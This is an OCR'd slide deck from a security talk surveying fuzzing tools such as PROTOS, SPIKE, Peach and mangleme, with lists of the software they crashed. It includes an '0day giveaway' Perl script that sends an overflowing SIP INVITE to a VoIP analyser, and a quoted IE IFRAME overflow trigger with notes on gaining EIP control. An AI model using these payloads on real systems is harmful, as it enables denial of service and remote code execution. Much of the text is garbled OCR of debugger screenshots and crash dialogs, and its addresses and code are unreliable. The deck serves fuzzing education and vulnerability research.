Fuzzing
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Agenda

*General fuzzing info

eCurrent fuzzers:
- What does it do

- What did it break
- Additional information
- Some demonstrations

*Build your own
econclusion



General fuzzing info



What is fuzzing

*Sending semi-random data to an application
*Semi-random: good enough so it'll look like valid data, bad
enough so it might break stuff
*When people hear “fuzzing” they imediately think http,
THERE IS MORE TO FUZZING THAN JUST HTTP !!!
*You can fuzz:

- Network protocols

- Network stacks

- Arguments, signals, stdin, envvar, file descriptors, ....
- Api's (syscalls, library calls)

- files

*Fuzzers are way cool, the thrill of fuzzing is hard to
explain, you have to see it to believe it.



Input and output for suids
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* exec() after exec() detaches all shared memaory

I'm sure | missed some stuff !



Types of fuzzers

*Manual testing:
- Use normal client/server

- Observe what happens

- Look for interesting data (size fields, ...)
- Change some of this data

- Observe what happens

*Semi-automatic fuzzing:
- Have a tiny script/program

- Do one run, see what happens

eAutomatic fuzzing:
- Use a script/program and iterate over a
lot of possible outputs (can be an endless loop)

- Just wait till something crashes



Type of tuzzers (II)

*Fuzzing tools:
- Fuzzers made by somebody

- Usually to fuzz one specific protocol

*Fuzzing frameworks
- Usually written in some scripting language
(perl/python)

- Comes with cool fuzzing api's in most cases

- Can support a lot of (network protocols)

- Some allow to do more then just network fuzzing
- Have a learning curve most of the time



Current fuzzers



Protos

*Developed at the university Oulu
¢1999-2001, 2002-2003

*Spinoff company: codenomicon

*Designed several fuzzers

*Most known for the sip and snmp fuzzers
*Written in java :-(

*Check out
http://www.ee.oulu.fi/research/ouspg/protos/



- Stutf it broke

- Cirpack Switches software version < 4.3c

- Cisco IP Phone Model 7940/7960 running SIP images prior to 4.2

- Cisco Routers running Cisco I0S 12.2T and 12.2 'X' trains

- Cisco PIX Firewall running software versions with SIP support, beginning with version 5.2(1) and up to, but
not including versions 6.2(2), 6.1(4), 6.0(4) and 5.2(9)

- Sipc (version 1.74)

- Ingate Firewall < 3.1.3

- Ingate SIParator < 3.1.3

- All versions of SIP Express Router up to 0.8.9

- Mediatrix VoIP Access Devices and Gateways firmware < SIPv2.4

- Succession Communication Server 2000 (- Compact)

- adtran ATLAS 550, ATLAS 800 (Plus), ATLAS 810Plus, ATLAS 890, DSU IV ESP, ESU 120e, Express 5110,
Express 5200, Express 5210, Express 6100

« DSUIQ, IQ 710, 1st GEN, IQ Probe, TSU IQ, TSU IQ RM, TSU IQ Plus, NetVanta 3200, ADVISION, N-Form,
T-Watch, OSU 300, Express 6503,

e Smart 16 Controller, TSU ESP, ... see http://www2.adtran.com/support/snmp/

e - AdventNet Web NMS 2.3

» - ADVA AG Optical Networking: FSP 3000, FSP 2000, FSP II, FSP I, FSP 1000, FSP 500, CELL-ACE, CELL-
ACE-PLUS, FSP Element Manager,

FSP Network Manager, CELL-SCOPE

e - LOTS more snmp issues

--> protos exposed 'the big snmp fuckup'

- http://www.ee.oulu.fi/research/ouspg/protos/testing/c07/h2250v4/index.html

- iPlanet Directory Server, version 5.0 Beta and versions up to and including 4.13
- IBM SecureWay V3.2.1 running under Solaris and Windows 2000

- Lotus Domino R5 Servers (Enterprise, Application, and Mail), prior to 5.0.7a

- Critical Path LiveContent Directory, version 8A.3

- Critical Path InJoin Directory Server, versions 3.0, 3.1, and 4.0

- Teamware Office for Windows NT and Solaris, prior to version 5.3ed1

- Qualcomm Eudora WorldMail for Windows NT, version 2

- Microsoft Exchange 5.5 prior to Q303448 and Exchange 2000 prior to Q303450
- Network Associates PGP Keyserver 7.0, prior to Hotfix 2

- Oracle Internet Directory, versions 2.1.1.x and 3.0.1

- OpenLDAP, 1.x prior to 1.2.12 and 2.x prior to 2.0.8

- ... a lot more



Protos's spinoff

Codenomicon Ltds — Maozilla Firefox ="E|.32<.

File Edit Mew Go Bookmarks Tools Help
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CODENOMICON'S

TESTING

PRODUCTS

Codenomicon testtools are used to test
interface implementations for specific
protocols. By using the test tools the
protocol interface can be tested for
infarmation security defects and
robustness shortcomings. The test tools
make it possible to assess black-box
software componants e.9. during
acceptance testing, or they may be used
during product development to make the
products more error-free. The test toaols
are sold as off-the-shelf products or
created on demand:

Codenomicon testtools include the
packagedtest material as a test suite
integrated with documentation, training
and the means to deliver the test material
to the system under test. Our off-the-shelf
testtool products include the following:

Codenomicon GTP Test Tool [pdf]
Codenomicon SIP Test Tool
Codenomicon TLS Test Tool
Codenomicon HTTP Test Tool
Codenomicon RADIUS Test Tool [pdf]
Codenomicon BGP Test Tool [pdf]
Codenomicon OSPF Test Tool [pdf]
Codenomicon IPvd Test Tools
Codenomicon IPvE Test Tools
Codenomicon Images Test Tool
Codenomicon LDAP Test Tool [pdf]
Codenomicon Diameter Test Tool f
Codenomicon 15-15 Test Tool if
Codenomicon PIM-DM/SHM Test Tool f
Codenomicon RTSP Test Tool [pdf]
Codenomicon SigComp Test Tool [p«df]
Codenomicon SNMP Test Tool f
Codenomicon SSH Test Tool [pdf]
Codenomicon TACACS+ Test Tool [pdf]

Codenomicon Test Tools

A baseline for new implementations of a
protocol

Atestsuite for a specific protocol aims to
seta baseline for new implementations of
that protocol. The test suite can targeta
specific subset of errors that can infest an
implemantation. The test suite may be
used early onin the development process
for preliminary elimination of the most
trivial pitfalls.

Acceptance testing

As customers evaluate a commercial
off-the-shelf product that implements a
certain protocol, the test suite may be
used as criteria for accepting the product,
The same applies to custom-made
products, although a more effective net
outcome may be achieved by requiring
the ability to survive the test suite already
inthe requirements specification phase.

Product evaluation

The test suite may be used as a
supplementary metric for evaluating
several competing products in the
process of making a purchase decisian.

Regression testing

Ifthe Codenomicon test suite is used in
the development process, it may be
adopted as part of a regression test suite
to ensure thatthe errors coverad by the
test suite do not emerge during code
maintenance.

Daone




More protos stuft

*You can still find lots of interesting bugs with
protos

Example: hammer call analyser

*Write 0-byte anywhere in memory

* Many thanks to Kokanin for this one !




File  Edit

Capture  Filkers  Wiew  Ophions  Help
E e X |ODHEDE T &et M 7
| Frame List =] | Li 24| Discover On |
Frare | DateTire as: mrnfddy o | SUrAMAary | Size | Src fddr | Dst Addr
22344 09,1905 20:24:54, 492000 SIP-=IMNVITE 549 bytes 137.226.11... 137.226.1 [ | . TNVITE
22345 09,1905 20:24:54,601945  SIP-=INVITE 549 bytes 137.226.11... 137.226.1 E
72346 09/19/05 20:24:54. 712125 SIP->INVITE 550 bytes 137.226.11...  137.226.1 <2l
22347 09,1905 20:24:54, 822084 SIP-=INVITE 550 bytes 137.226.11... 137.226.1 E ~THYITE
22348 09,1905 20:24:54,931930  SIP-=INVITE 550 bytes 137.226.11... 137.226.1 E
72349 09/19/05 20:24:55.041937  SIP->INVITE 551 bytes 137.226.11...  137.226.1 <2l
22350 09(19/05 20:24:55.079974  ETH &0 bytes 00-04-98-75... O1-50-c2-0 | STNVITE
22351 09,1905 20:24:55,152114  SIP-=INVITE 552 bytes 137.226.11... 137.226.1 E
72357 09/19/05 20:24:55. 262004 SIP->INVITE 591 bytes 137.226.11...  137.226.1 <2l
22353 09,1905 20:24:55,372248  SIP-=IMNVITE 1023 bytes 137.226.11... 137.226.1 E ~THYITE
22354 09,1905 20:24:55,. 484289  IPw4-=Fragmented data 04 bytes 137.226.11... 137.226.1 i
72355 09/19/05 70:24:55.484501  [Pw4-=Fragmented data 1514 bytes 137.226.11,.. 137.226.1 i~ <2l
22356 09,1905 20:24:55,. 484619 IPw4-=Fragmented data 1514 bytes 137.226.11... 137.226.1 o % ,
s : 3 2 Gl CallElaw / Call List », Statistics
= Hammer Call Analyzer
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Hammer Call Analyzer hat ein Problem Festgestellt und 10
musz beendet werden.
Fallz Sie lhre &rbeit noch nicht gespeichert hatten, kiohnen D aten
moghchenweize verloren gegangen sein.
Dieges Problem bitte auch an Microsoft berichten.
Ein Problembericht, den Sie uns zenden konnen, wurde erstellt, i
werden diezen Bericht vertraulich und anonyrm bearbeiten.
I zu sehen, welche Daten lhr Bencht enthalt, klicken Sie hier.
Eroblembericht zenden
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Cptions  Window  Help
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File: Miew Debug  Plugins
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« |[Begisters (FRL
BZOBR1ED2

SlsGIsASEl)  Coda2 64 AE. B EDR+ERR+E41, 8 o, B
aa4aaqc2 FFIC P4ESS1GE | CALL DNDHD FTR ns [<aWSOCKEE, #1851 WS2_22. inet_addr

AE4BEECE
BE4BEE5CE
BE4BEE0R
Aa4EEE02
aE4aeE0e
ae48e500
AE4865E1
BE48E5EY
AE4EEEEE
BE4B6E5F4
BE4BECEFE
AE4EEEFD
BE4EEEE1T
GE486883
AE4a65685
BE48aEE0
AEd48es11
GE486617
BE4BEE1C
AA4ELE2A
BE4EEE2E
aE486e20
A8486635
BE48663H
AE48663C
GE48c64R
BE4BEC42
BA4ELE4T
BE4EEE49
8549664;

SR4C24 13
S94424 24
S4C

)
~AF24 F2E2EEEE
C&4424 12 8@
294424 48

Cr4424. 24 BEAEE

~E3 DCAZEAEA
SE20 S4B8488E0
2B9424 cBR4BRER

Bace

SA4424 12

24ca

Ccd44ll &4 Ba

C&4424 1B A1

S95C24 24
~AF2d BIE2BEEAE

Ce4424 12 BE
29EC24 48

C74424 24 BEEEG

~EY 90E288AA
SESD S4848860
SEE424 cHR4BREE

A3CE

SR4424 13

24ce

C&4421 &4 BE
~74 BA

C&4424 12 B@

~EZ 22818888
885424 1c

Mo CL,BYTE PTR SS:[ESP+13]
MOU DWORD PTR S5: [ESP+241, EAX
TEST CL.CL

JE HammerCH. BE46853CH

Mou BYTE PTR S5:[ESP+121,6@
MOY DWORD PTR SS: [ESP+481,ERX
MOY DWORD PTR 55: [ESF+241,8
P HammerCH. BE4863CH

MoU ECH,DWORD FTR S5: [EEF+4541]
Mou EDX, OWORD PTR SS5:[ESP+4681
ADD ECH,ERX

HMou AL,BYTE PTR S5:[ESP+1321
TEST AL,AL

Mo EBYTE PTR DS: LECH+EDR+541,8
Moy BYTE PTR 55:[ESF+1BE1,1

MOU DWORD _PTR S5: [ESF+241, EEX
JE HammerCH. BE4B8E2CH

Mou BYTE PTR SS:[ESP+121,68
MO DWORD PTR S5: [ESP+4@1,EBX
MOU DWORD PTR 55: [ESP+241,8
JHMP HammerCH. BE4EE3CH

MOU ECH, OWORD PTR SS5: LEEF+4541]
Moy ESI,ONORD PTR 55: CESP+4681
AOD ECH,ERA

Moy AL,BYTE PTR S5:[ESP+131
TEST AL,.AL

HMou BYTE PTR D5:[ECH+ESI+&4]1,8
JE SHORT HarmrmerCA. BB4B5552
Mou BYTE PTR S5:[ESP+121,8
JMP HammerCH. 8048672

oy ERH, DWORD PTR SSs [ESP+IC]

Address
BRE4EEER
BES4ERE0
Get4cala
AES4aa1E
BET4 6828
ARsdeE=a
GES4EE2A
BEE4EE30
BRS4EE4A
BES4Ea42
GEs4caca
AES4EE5E
BES4 6864
ARsde@es
GES4EE7A
BEE4EE7E
BRS4EE2A
BES4EE20
BEc4cE3a
AES4EE3E
BES4EERE
ARsdeaRs
GE54 8B
BEE4cEEE
BES4EECH
BEE4EECE
BBE46BDE

“PRuehLn
oreEqcen

EZARFEZE
E2AAFAZS
B2ARFAZE
E2ARFASE
B2ARFA4E
B2ARFA44
H2ARFR42
B2ARFA4L
BZARFASE
E2AAFASY
B2AAFREE
E2AAFRSE
B2AARFAGA
BEARFAES
H2ARFASS
B2ARFRGC
H2ARFETA
E2AAFATS
B2ARFATE
E2ARFATL
B2AARFASE
BEZARFAS4
H2ARFRSES
B2ARFRSC
BZARFAZE
E2AAFRZ4
B2ARFA92

) BEAAFRSC

BEREEAEE
FEDEFEF2
AEEEAAE5
BZRRFRZC
BZ0EZEF4
@20B27A4
B1veF1R4

BE4865B0 HammerCH. B84EE5E0

ES Baz2 3z2bit BIFFEFFFEF)
CS BAlE 32bit BIFFFFFFEFE]
558823 32bit BLFEFFFEFF]
Bs 8823 32bit BLFFFFFEFE]
FS @832 22bit FFFORRBRLFFFY
GE BaEE HULL

LastErr ERROF_SUCCESS [(@0GEE0EREE]
aEEia2a2 (MO, HME.ME,.R, S, PO, L, LEY

EMpLy
empty
Moty
EMpty
emphy
eMpty
EMpty
EMpty

BEAGE
A27F

3. 147336821 86249751 B0e—4932
=UHORM BREZ BR1ZFS0M P4EH2FSF
=777 FFFF 730CZ2EBR- BB12F958
-UHORM BHEZ H@@8EE22 F2021CER
=UHORM FESER Bi&93992 HIS9E17S
+UHORH 2980 86088832 A169617S
+UHORM 39968 B1&9@178 B1693978
B, BEEEAZE4ZIEEEEE ] FE0e—4953
218 B8
Cond & 8 & @&
FPrec HEAR,532  HMask E B e

PoUGg DI
Ere 83 8 8 8 0 ? ? ?

[GET)

HEDEEEES
EZ0E1R=4

BEEEAREE
BAGRE13C4
BEOBGE2E
B1ARFASC
BZAAFCCC
SERRFCDE
BEBAAAEE
BEEEEE28
BEEEAEEER
BEREEEEE
HRREERAEE
AREEAREEA
HEBEAEEE
leeERaEE
184R8E64
BEGEREEE
BZARFCES
B2ARFCEC
GRREEAEE
ARAEAREEA
HEBEAEEE
SEEERAEE
HEEEEAEE
[afals]atatalsa)
BEEEAEEE
BAREEEEE
HARARARE

decode. 1HEEEHEES
ASCII i ™

P h g-

Harmmerza, ...

] Fatised




Oday giveaway

#!/usr/bin/perl -s

use 10::Socket;

if(!$ARGV[0]){ print "blah blah blah\n"; exit(-1); }

my $h = $ARGV[O0];

my $p = 5060;

my $junk = pack("1",0xFBDED40C+0x1234) x 253;

#my $junk = pack("1l",0xFCBBD40C+0x031 3ff0f) x 253;

my $malformed = #o~nnnannss~” where do we want to write a 07?
"INVITE sip:BIGFATCOCKPOWER SIP/2.0"."\n".

"Via: SIP/2.0/UDP knud:5060;branch=knudknudknud!!"."\n".
"From: 666 <sip:knud\@knud>;tag=0"."\n".

"To: Receiver <sip:knud\@knud>"."\n".

"Call-ID: 666\@knud"."\n".

"CSeq: 1 INVITE" . "\n".

"Contact: 666 <sip:knud\@knud=>"."\n".

"Expires: 666"."\n".

"Max-Forwards: 666"."\n".

"Content-Type: application/sdp"."\n".

"Content-Length: 666"."\n".

"\n".

"v=0"."\n".

"0o=0 0 0 IN IP4 knud"."\n".

"s=Session SDP"."\n".

"c=INIP4 " . $junk . "\n".

"t=0 0"."\n".

"m=audio 9876 RTP/AVP 0"."\n".

"a=rtpmap:0 PCMU/8000"."\n".

"\n";

$s = new 10::Socket::INET(Proto=>"udp",PeerAddr=>$h,PeerPort=>$p) or die "bla";
nrint €< ¢malformed -



SMUDGE

*Software Mutilation Utility and Data
Generation Engine

*Fuzzing framework

*Written in python

*Written by nd

*Has support for a wide range of protocols
*Only does network protocol fuzzing
*Copied most fuzzstrings from SPIKE



SMUDGE broke:

e - subversion

e - shoutcast

e - Sambar webserver 0.6 overflow in POST
handling

e - Ratbhox IRCD < 1.2.3 overtlow in newline
handling

- Unexploitable overtlows in IE browser

e - DoS in Helix Server < 9.0.2

e - Remote Crashes in Bad Blue server

- Mailman bugs ;)

* - Cute overtlow in mod security



OllyDhg - s¥nserve.exe - [CPU - thread 000001 C4, module MS¥CRT]

@] File Wigt Dehug Optin:lns '-.-'-.-‘1'nu:|n:|w Help

Toos T thon e b EECHJ EDI Resisters (FP 3 : :
7rCE1208! vrd B0 JE_SHORT MSUCRT. /rC3le98 EEE‘SBSBEBEH o e
7roaizes| A01CAE LEA EEX.DWIRD PTR DS: CEAX-+EANKZ] B e
TROA1ZEE| 8301 BC ADD ECH,BC A
FROSIZEE| EDLCSA LER EEX,DWORD FTR 0S: [EDH+EEN#4] S S
FFC1751| ZBCE CHF ECH.EEX S ey el
D UER BRI DUDHD FTR D FERsHERY#2 EEF BRESFASE
3 w LI 5 + #* (11
frEsizss| Soaie: [ER ERCDUSRD P D) CECHyERcwa o R e
;;E%SSE vzgagnt EIHE Emgég EEHCE;'EEEE%EEEI EIF FFC31284 MSUCRT.?7FC31284
) FT : ; )
7PCEZAL w74 B2 JE SHORT MSUCRT. PPCE1=AS - R SRR L Fa da AR 2
frSElerl 2ats e, A B S5 BE2I 3Ebit BLFFFFFFFF)
2 fECH 7 @ DS BB2Z 22hit BiFFFFFFFE)
7PC21ZA0| SBES B2 MO EBX, DWORD PTR OS: [ECH+E] 28 DR e
SEaiSHe| fach ee MG DUGRD ETR S5: [EEP+E1, EBY Ll
7 2 T - +31, o i
PPCEIZES|vBFE4 BARIOEBE | JE MEUCRT. PPCS1SBF & lastEarochallr SLllEss [hraouboam
77C31S86| B3FE 6 BIE ERRE Ll EFL seetazez (no,NE,ME,A, NS, PO, GE, 6
= ' i la P T L
TCZIEC0R| S361 BS OB BHD DWORD FTR DSt [ECR+E1, @ B e Aos Btariora oAl ie
;;E;igg% ESCB ?HE Egﬁ-EﬂH 512 empty +UNORH 2740 POGEOGEOE HHGGEEHS
1207 |ES FronGHE JHF ASUCRT. PRCa1308 dlocempby e RERE Suia b L e
TCE1207 ST4 empty @.01947635039058065 204935
S SIS0 |vomy Copopana | b MSUCRT.770S13EA FExBRDLY. ey PEFP A FECLENG FrEpRbaR
FPC21505| SR46 Cf MOL. EF%, ONORD PTR DS: [ESI+EE] TRl e =HHURLL FOMR  BRLEh ot FLHR 202
77C21208| 8945 FC MOU DWORD PTR S5:([EBP-41, EA% B B R
SLEIIEhE| Bode ga HOU CARD PrR Doe CESTsEqT, ERv FST 6080 Cond BB B @ Err BED@OGRE (G7)
3 ) = + L]
FFCIIZEI| SB41 64 MO ERX, DWORD PTR OF: [ECH4] FCW BfF Prec MEAR B2 Mask- 1 L1 L
7FCA12E4| 23F8 B2 CHE ERX, S
TPCE1ZET |VBFEE BFRBBERE | JHZ MSUCRT.77CE1SAC
PPCEIZED| SBIE SBATCETT | HMOU EDW,DWORD PTR DS: [PPCEATESI
FFCE1ZFE| Al BLATLETS MO EfX, DWORD PTR DS: [77CEATEC]
FroaizFe| mach ADD ERX, EOX
TFCI1EFA| SEOE CHP EDN. EAX
7PCBIBFC w70 27 JGE SHORT MSUCRT. FRCE18ss
FFOE1EFE| 2DRIEE LER EFX, DWORD FTR D%t LEON+EDN#Z]
7FCE1E01| ClER B2 SHL ERY, 2
7rCE15Rd| SEFE G4 MOU EOT,DWORD FTR DS:[ESI+E4]
| 7PC31367| 536435 B8 G0 | AND DWORD PTR D0S: [EARSEDI+E1,0 -
S
DS:[3F3F2F2F1=777 I M PO R NT
Address | Hex dump ASCII T e G A S =
BE441000| B0 66 66 00 60 06 08 08 ........ — SSEEEEEE A haah
AEd4 1005 B0 GO DR BB BB BE BE BE| ..o ... [ “ooohiot) DeesEbig
AGd41G16| 6C 69 73 74 65 BE 28 EF| Listen o Al B
DarelRlopet BouBa EOleR TR RIS oo, sk BBESFRSE| | 7PCIPFOE| RETURN to MSUCRT,7PCEPFOE from MSU
- BEEEFAG | | CEGEEREE
@044 1622| 64 65 62 75 67 &7 69 GE|debugqin guaperHes) | Cudegoee
oAtioaales o oo prlgE oF f8 Bdy @l LISk BEEEFASE| | TFCIZEFE| RETURN to MSUCRT.7FCISEFE
- BEEEFATE| | BEEEFASE
GG441645| 74 75 EE GE 65 &C 28 £0|tunnel m SRE S sty
GG441645| 6F 64 65 BB 74 75 G6E EE| ode.tunn creiiil R
GG441650| 65 6C BB GB 64 &5 TE 72| el..depr SunEnten) | Buc b
AG441GE5| 6B 63 61 74 65 64 3B 20| ecateds RoESTAes) | gdpade
AG441G66| 75 73 65 28 72 65 7B EF|use repo gEnEFoe0) | Rageanon
AE441GEE| 72 69 74 6F T2 79 28 63| sitory o AAoerEes| | Doboonep [
AG441670| 6F 6E 66 63 67 2B 66 £3|onfig f Baoarhes) | oRaoEBre
AGd41675| 6C 65 BB 0B TZ GG E1 64 Le. . Easmiilin] Rhegains,
o a1aeniat of OE SCrcs OO 00 25 oo o apecFRo4| | 77FEazAB| RETURN to ntdLL. 7PFassne
PEeEFAaE| | pecEFETE
AGd41696) 64 69 72 65 63 Td BF Tector gt B Hes
AEd41695| 79 20 74 6F 28 TS 65 to ter geieSnASl) | BoosEE oY
G044 1606|7665 @@ 0@ 72 &F GFER| ve. .root oislns el Rl _
SR Lo ol 28, SE ndeoE s b 4 accrans|| GEEEFFA4| Pointer to nest SEH record -
 Aocess vinlation when reading [3F3F3F3F] - use Shift+F7/FB/F9 to pass exception to program | | Paused
ﬁﬁtartl B CiwInDow. | B CiwInDow. . ”* OllyDbg - sv... (2} Desktop | S root@smes: .. | e Felinemenace. .. | A 2 waordPad vl & The Peninsul... | |«_g 3147 PM




SPIKE

*Fuzzing framework
AVritten in C R
By Dave Aitel
J omes with a lot of default fuzzing tools
3as support for msrpc, sunrpc,: ftp, smtp

Block based fllZZiIlg (see the advantage of block based analysis)
*Unlike what a lot of people say it has a
fair amount of documentation

*Only network tfuzzing



SPIKEfile

*Modified version of spike (2.9)
By Adam Greene

*All network stuff ripped out
*Used for file fuzzing



Things SPIKE broke

e - smb stuff

e - dtlogin arbitrary free()

- windows remote rdp DoS (exploitable bug ?)
e - RealServer ../ stack overtlow

e - Verde

e - Mdaemon

e - Xeneo Web Server

* - ipSwitch

*Probably a whole lot more we're not supposed to
know about :)

equote from the dailydave mailinglist:

“therefore I recommend the use of spike. it's not written in python and it *appears*
as if it is broken on purpose sometimes so Oday found with it before it's release
stays Oday. but it's still rad.” -- nd@felinemenace.org



The Process of Using SPIKE on an
unknown protocol

» Use Ethereal to cut and paste the packets into s _binary();

s Replace as much of the protocol as possible with deeper
level spike calls

* s xdr_string(); s_word(); etc

s Find length fields and mark them out with size calls and
s_block_start(), s_block_end();

s Make sure protocol still works :>

s Integrate with fuzzing framework (2 while() loops) and
let the SPIKE fuzzer do the boring work

« Manually mess with the packets to see if you can cause
any aberrant behaviour (attach ollydebug first)

» Write up the exploits

COPYPASTED FROM:
http://www.blackhat.com/presentations/bh-usa-02/bh-us-
02-aitel-spike.ppt
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Fuzzing Variable 1:
Variablesize= 256
Fuzzing Variable 1:
Variablesize= 240
Fuzzing Variable 1:
dvariablesize= 128
fFuzzing Variable 1:
Variablesize= 65534
Fuzzing Variable 1:330
Variablesize= 32768
IFuzzing Variable 1:331
:Fariablesize= 32767
Fuzzing Variable 1:332
Variablesize= 32766
Fuzzing Variable 1:333
variablesize= 32765
Fuzzing Variable 1:334
Variablesize= 32764
fFuzzing Variable 1:335
Mvariablesize= 32763
JFuzzing Variable 1:336
Variablesize= 32762
Fuzzing Variable 1:337
Variablesize= 20000
druzzing Variable 1:338
Variablesize= 10000
Fuzzing Variable 1:335
Jvariablesize= 5000
glFruzzing Variable 1:
Blvariablesize= 4097
MFuzzing Variable 1:
Nvariablesize= 4096
Blruzzing Variable 1:
flvariablesize= 4085
BlFuzzing Variable 1:
Variablesize= 2048

~X

Mindows XP Professional - [Ctri-Alt-F 1] - VMware Workstation

File Edit Power Snapshot

TO yOur Computer.,
The problem seems to be caused by the following file: LE¥S

{PASE_FAULT_IkH_MONPASED_AREA

If this iz the first time wou'we seen this Stop error screen,
restart wour computer. If this screen appears again, follow
hese steps:

heck to make sure anmy new hardware or software i=s properly installed.
If this 495 a new installation, ask wour hardware or software manufacturer
Tor amy windows updates wou might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If wou need to use Safe Mode to remowve or disable components, restart
WOuUr computer, press F8 To select advanced startup options, and then
select safe Mode,

Technical dnformation:

WHW STOP: Ox00000050 (OxFFEASOO0, 0x00000000, OxFFCDOCFC, 0x000000007)

s L5¥5 - address FPCDCCFC base at FFCCL0O00, Datestamp 41107hH25

Beginning dump of physical memory

Physical memory dump complete,

ontact wour system administrator or technical support group for further
assistance.

§7cu have new mail in /wvar/spool/mail/+0Ommy

B [t Ommy@fux0r srcl$ []

A problem has been detected and windows has been shut down to prevent damage




SPIKE doesn't work on OS X

[t doesn't by default
*Make changes to the Maketfile:

- 1d -shared -soname libdlrpc.so -o libdlrpc.so -lc dlrpc.o dlargs.o $(SPIKE OBS)
+ 1d -dynamic -flat namespace -bundle -undefined suppress -0 libdlrpc.so -lc -1dl dlrpc.o dlargs.o $(SPIKE OBS)

«Change LD LIBRARY PATH to
DYLD LIBRARY PATH

*Comment out -ldlrpc



Peach

*Another fuzzing framework

*Written in python

*By Micheal Eddington

*Developed during ph-neutral

*Unlike what most people say the
documentation isn't that great

*All (or most) documentation is autogenerated
from the source.

*Can do more then just network fuzzing
Example script for com object fuzzing !
*No slide of what it broke, I'm unaware of
anything that peach ever broke.



Feach-— & furzing framewark — Mazrilla Firefox =0

File Edit Vew Go Bookmarks Tools Help

<::| > [ ~ %] T*-;\[ |__: http://www.iactive com/vl.5/tools/peach-docs/ :] 3 Go “G,_Lpeach fuzzer

# Getting Started |5 Latest Headlines

Table of Contents Author: Michael Eddington =
Everything Submodules
¢ generator: Base generaor objec implementation
Packages e Generators: Defaull included Generators.
Peach — ~ o block: Contains implementalion of a Block generator and BlockSize generator.
Peach.Generators o dictionary: Contains generators that use a set of data (dictionaries) such as
Peach.Protocols Tiles, Tists, elc.
Peach.Publishers o incrementor: Incrementing generators (numerical, elc)
Peach.Transformers o mull: These Generators evaluale to emply strings but are usefull for displayving
staus messages and other random stuff.
Modules o repeater: Generators thal repeate stuff.
Peacl]_qenerd:ﬂr L m.gfﬂuﬂ‘ stalic gﬂﬂﬂrli-ﬂm.
Peach.Generators.block e group: Delaull included Group implementations.
Peach.Generators.dictionary = ¢ protocol: Base proltocol objed implementation.
ot [ - ' [ 3 & Protocols: Stock Prolocols.
e — o null: Null protocols are protocols that don't implement any state management.
Everything :1 e publisher: Base Publisher objed implementation.
e Publishers: Collection of defauk included Publishers
All Classes - o com: Windows COM/DCOM/COM + publishers.
Peach.qgenerator. Generaor o File: Some defaull file publishers.
Peach.Generators.block.Bloc o fip: Default file publishers.
Peach.Generators.block.Bloc o sql: SQL publisher objedts.
Peach.Generators.dictionary. o stdout; Oulput to STDOUT stuffs.
Peach.Generators.dictionary. o tcp: Default included TCP publishers.
Peach.Generators.dictionary. o udp: Default UDP publishers.
Peach.Generators.dictionary. ¢ script: Some defaull script classes. L
Peach.Generators.increment. ¢ transformer: Implementation of base Transformer class.
Peach.Generaors.increment! e Transformers: Transformers transform dala generated by Generaors in some fasion.
Peach.Generaors.null. PrintS o compress: Some defaull compression transforms (gzip, compress, etc).
_ﬁ:ear_h Ganaranrs nnll Prints= o crypto: Crypto transforms (encrypting, hashing, etc), and misc auth crap. _
1 | < o encode: Fncodina bransforms (TIRI. Base6d. efc). =

| Done




=yz,.path.append(", . ")

from Peach import *
from Peach.group import *
from Peach, Transformers import #
from Peach,Generators import
from Peach,Protocols import *
from Peach,Publishers  import

FhERHRH AR E B R R AR R R R R R R S R R R R R R R R R

groupCon = GroupF ixed{10)
genCom = repeater ,Repeater (groupCom, static,Static("A"), 10)

protocol = null Hull{com,Comd" {7AECAT2F -60FC-44F 2 -A9R7 -31ABESEEE38AT ",
"StringTest('''2=z''"3"), genCom, 1)

R R AR R R R R R R R R R R R R R R R R R R R R R R R R R

soript ,Script (protocol, groupCom),.gol)

# end
I
Get Help | UriteOut g Fead File i Prev Pz i Cut Tewt Cur Pos
T Exit B Ju=tify @ WUhere i= Hext Pg B UnCut Textjll To Spell

% Pt =.-|:|-_‘:=-5:_-
; Ul PICOCtm) 4,9 File: test-actives, Modifiec




pif
*Protocol independent fuzzer
*Written by Matthew Franz
*Fuzzing framework

*Not available to the public :(
eEmail conversation with the author:

> [ was wondering if this tool you made, pif, is publicly available at this
> point in time, or if there are any plans to release it some day in the
> future.

Would have loved to, and tried very hard to but it got shot down by
[cisc0?] management. :(

- mdf
*Found a couple of bgp implementation

bugs in various routers



mangleme

*Webbrowser fuzzer

*Written in c

By Michal Zalewski

*Sends broken html to a browser
*Nice looking code, easy to extend

*Check out:
http://lcamtuf.coredump.cx/mangleme/mangle2.cgi



Stutt Mangleme broke

o - IE
- mozilla / netscape / firetfox
* - Oopera

e - lynx

e - links

e - safari

e - ..., Pretty much any webbrowser out



htmler

Complete rewrite/port of mangleme in
python

*By nd

*A few minor modifications

*Fuzzed the now famous iframe bug
*[.ead to the bofra worm



Posting about htmler's
findings

Hi all, here's my analysis of these bugs:

2445.html does nothing on my win2ksp4en/ie6.0spl. (IE does crash when you load it
because the META refresh tag leads to 2446.html.)

2446.html contains an exploitable BoF in the IFRAME tag using the SRC and NAME
property. To trigger the BoF you only need this tag in a HTML file:

<IFRAME SRC=AAAAAAAAAAAA.... NAME="BBBBBBBBBBB....">

Exactly why or how it happens, I do not know yet. I do know you can control EAX, after
which this gets executed:

7178ECO02 8B08 MOV ECX, DWORD PTR [EAX]
7178EC04 68 847B7071 PUSH SHDOCVW.71707B84
7178EC09 50 PUSH EAX

7178ECOA FF11 CALL NEAR DWORD PTR [ECX]

Control over EAX leads to control over ECX, which you can use to control EIP: Remote
Command Execution.

They'd better patch this one quickly, a reliable working exploit shouldn't take more then
a day to code.

Cheers,
SkyLined
" -- reply to bug fuzzed with htmler (iframe in IE)



mangle

*Trivial binary file fuzzer
*Written in c

*By Ilja van Sprundel
From the comment:

It's usage is very simple, it takes a filename and headersize
as input. it will then change approximatly between 0 and 10% of
the header with random bytes (biased towards the highest bit set)

obviously you need a bash script or something as a wrapper !



Stuff mangle broke

*Jibmagic (used file)

epreview (osX pdf viewer)
*xpdf (hang, not a crash ...)
*mach-o loading

eqnx elf loader (panics almost
instantly, yikes !)

*FreeBSD elf loading
eopenoffice

*amp

*0sX image loading (.dmg)
]Jibbfd (used objdump)

elibtiff (used tiff2pdf)

*xine

*OpenBSD elf loading (3.7 on a
sparc)

eunixware 713 elf loading
*DragonFlyBSD elf loading
*solaris 10 elf loading

cistron-radiusd

linux ext2fs (2.4.29) image
loading

linux reiserfs (2.4.29) image
loading

linux jfs (2.4.29) image loading
linux xfs (2.4.29) image loading
macromedia flash parsing
Totem 0.99.15.1

Gnumeric

Quicktime

Mplayer

Python byte interpreter
Realplayer (10.0.6.7706)

